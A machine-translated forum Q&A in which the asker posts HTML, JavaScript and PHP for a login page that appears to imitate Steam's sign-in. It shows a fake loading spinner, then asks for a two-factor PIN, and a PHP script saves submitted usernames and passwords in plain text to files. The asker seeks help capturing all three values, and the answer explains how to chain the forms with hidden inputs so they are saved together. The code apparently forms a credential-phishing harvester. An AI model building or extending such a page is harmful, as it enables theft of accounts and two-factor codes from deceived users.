2017-08-04 69 views
0

目前我有两种形式,一种用于用户名和密码,一种用于特殊认证引脚。如何一次写入多个表单到一个文件

用户名和密码

<form action="#" method="POST" id="hello" onsubmit="return false;"> 
<div id="loadingGif" style="display:none"><img src="#"></div> 

<input class="btn_green_white_innerfade btn_medium" type="submit" 
name="submit" id="userLogin" value="Sign in" width="104" height="25" 
border="0" tabindex="5" onclick="showDiv()"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" 
id="userAccountName" maxlength="64" tabindex="1" value=""><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input class="textField" type="password" name="password" 
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; 
display: none;">It seems that you may be having trouble entering your 
password. We will now show your password in plain text (login is still 
secure).</div> 
</div> 

通过添加/loginaction.php进入行动=“”,我可以用PHP写的用户名和密码输入到一个文本文件,但现在我想在特殊的双因子引脚上做同样的事情,将文件添加到action =“”中,在div显示之前刷新页面,允许用户输入pin,我需要帮助找到一种方法将所有三个输入写入这个文本文件,任何帮助将不胜感激,对此非常新

函数显示代码输入的div在这里

function showDiv() { 
    document.getElementById('userLogin').style.display = "none"; 
    document.getElementById('loadingGif').style.display = "block"; 
    setTimeout(function() { 
     document.getElementById('loadingGif').style.display = "none"; 
     document.getElementById('showme').style.display = "block"; 
    },2000); 
} 

写入该文件的PHP代码

<?php 
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written"); 
$txt = $_POST['username'] . ':' . $_POST['password']; 
fwrite($myfile, $txt); 
fclose($myfile); 
echo "LOREM IPSUM:("; 
?> 
+2

这在数据库中会更容易并且更安全。也不要存储纯文本密码。 – chris85

+0

它目前仅供个人使用 –

+1

那么现在呢'我认为你打算在某个地方在其他地方使用它。不妨先学习正确的方法。 – chris85

回答

0

你与你问一个有点不清楚。看来你在问,我如何使用一种形式来创建一个用户名和密码,然后将它们重定向到另一个页面,让他们制作一个pin然后将这三个输入写入特定的文本文件?

忽略一个事实,即您可以在一个页面上完成这两件事情,而不是您正在做的事情,只需将相关信息发布到链中的下一页即可。

用户名&密码形式 - > POSTS TO - > PIN码表格 - > POSTS TO - >处理表格,其中所有三位信息都被处理成相关文本文件。

您只是将用户名和密码表单中的信息作为隐藏输入转发给PIN码表单。

相关问题